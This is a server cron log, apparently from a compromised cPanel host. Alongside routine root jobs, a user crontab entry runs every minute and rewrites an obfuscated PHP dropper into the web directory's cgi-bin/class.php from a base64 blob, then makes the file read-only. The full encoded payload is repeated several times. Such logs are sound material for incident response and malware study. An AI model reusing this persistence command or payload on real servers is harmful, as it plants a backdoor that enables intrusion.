Nov 13 03:41:01 server CROND[10527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:42:01 server CROND[11529]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 03:42:01 server CROND[11530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:43:01 server CROND[12436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:44:01 server CROND[13224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:45:01 server CROND[14085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:45:01 server CROND[14086]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:45:01 server CROND[14087]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:46:01 server CROND[15008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:47:01 server CROND[15865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:48:01 server CROND[16749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:49:01 server CROND[17176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:50:01 server CROND[18067]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 03:50:01 server CROND[18066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:50:01 server CROND[18070]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:50:01 server CROND[18071]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:50:01 server CROND[18072]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 03:51:01 server CROND[18980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:52:01 server CROND[19839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:53:01 server CROND[20413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:54:01 server CROND[21288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 